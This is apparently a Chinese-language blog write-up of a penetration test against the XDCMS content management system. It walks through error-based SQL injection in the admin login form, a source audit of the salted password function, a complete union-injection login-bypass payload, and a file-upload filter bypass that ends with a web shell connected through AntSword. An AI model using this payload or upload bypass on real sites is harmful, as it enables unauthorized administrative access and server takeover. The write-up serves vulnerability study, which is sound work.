XDCMS系统渗透

sql注入漏洞

经过测试,发现在后台登录框存在sql注入,可以通过报错注入来获取数据库数据:

image-20230901154410292

我们使用bp抓包进行sql注入,这里验证码非完全动态,可以一直注入不换验证码。

先爆破一下数据库:xdcms

image-20230901154519936

爆破一下数据表:c_admin

image-20230901154548943

爆破一下数据字段:

image-20230901154616647

爆破一下用户名和密码:

image-20230901154721182

image-20230901154644460

这里看着像md5,但是解密网站都无法解开:

image-20230901154842170

联想一下前面爆破出来的字段,看到encrypt基本可以确定这个加密是加盐的。

image-20230901154923197

放弃?nonono!我直接在网上找到了XDCMS的源码,开始代码审计!

先看到 system\modules\xdcms\login.php【已经过滤掉一些与本次代码审计无关的代码】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function check(){

$username = safe_html($_POST['username']);
$password = safe_html($_POST['password']);
$verifycode = safe_html($_POST['verifycode']);

$sql="select * from ".DB_PRE."admin where `username`='$username'";
if($this->mysql->num_rows($sql)==0){
showmsg(C('user_not_exist'),'-1');
}

$rs=$this->mysql->get_one($sql);
$password=password($password,$rs['encrypt']);
if($password!=$rs['password']){
showmsg(C('password_error'),'-1');
}
}

我们大致分析一下:

  1. 系统接收username和password-1参数
  2. 从数据库找到username对应的password-2,同时获取盐值’encrypt’,使用password($password-1,$rs[‘encrypt’])函数加密成password-3
  3. 将password-1和password-3对比,相同则通过认证

我们再去看一下password函数:

1
2
3
4
5
6
7
8
9
//密码加密
function password($password, $encrypt='') {
$pwd = array();
$pwd['encrypt'] = $encrypt ? $encrypt : get_random();
$password_md5=md5(trim($password));
$nums=strlen($password_md5) - strlen($pwd['encrypt']);
$pwd['password'] = md5(substr_replace($password_md5,$pwd['encrypt'],$nums));
return $encrypt ? $pwd['password'] : $pwd;
}

之前我们是通过报错注入获取密码的,现在我们试试看能不能通过联合注入来伪造password-2和encrypt来绕过check()验证函数。

构造发现存在联合注入并且c_admin表有10个字段【这个order by让我感觉回到了大一梭sql-labs的时候】

image-20230901160839756

image-20230901160855692

也就是现在,我们可以无视数据库的内容,构造password-2和encrypt的值,同时password-1也是我们可以主观输入的。我们直接把password函数搞到本地。

image-20230901162145807

执行获得:

image-20230901161916641

我们构造

1
username=xxx'union SELECT 1,2,'a6239159d09952a1da6852bf5079c1f2','123',5,6,7,8,9,10--+&password=xdcms123&verifycode=b172&button=

成功登录!

image-20230901162230832

后台文件上传

我们登录进后台,找到了文件上传的限制设置,添加上.phtml

image-20230901174831608

上传一个phtml

image-20230901175521724

但是发现似乎不解析phtml文件:

image-20230903161119687

试试php,php直接被限制了上传

image-20230903161219048

一时被卡住了,我只能再作个弊,翻一翻源码了嘻嘻

1
2
3
4
5
6
7
8
9
if ( $this->make_script_safe ){
if ( preg_match( "/\.(cgi|pl|js|asp|php|html|htm|jsp|jar)(\.|$)/i", $FILE_NAME ) ){
$FILE_TYPE = 'text/plain';
$this->file_extension = 'txt';
$this->parsed_file_name = preg_replace( "/\.(cgi|pl|js|asp|php|html|htm|jsp|jar)(\.|$)/i", "$2", $this->parsed_file_name );

$renamed = 1;
}
}

在替换文本里,脚本用 $1$2 表示正则表达式中的括号匹配项的结果。

这个匹配机制有大问题喔

1
$this->parsed_file_name	   = preg_replace( "/\.(cgi|pl|js|asp|php|html|htm|jsp|jar)(\.|$)/i", "$2", $this->parsed_file_name );

意思是去匹配类似于1.php这种以php结尾的或者说1.php.gif这种当中包括php的,那我们只需要构造1.php+空格这种就可以以绕过它的preg_replace。

我们添加上上传格式:

image-20230903162700063

我们把type改成1【指的是上传文件】,发现成功上传

image-20230903162728998

成功连接蚁剑,获得shell:

image-20230903162831025

参考文章

  1. XDcms3.0.1挖掘新利用 - 先知社区 (aliyun.com)
  2. http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-064769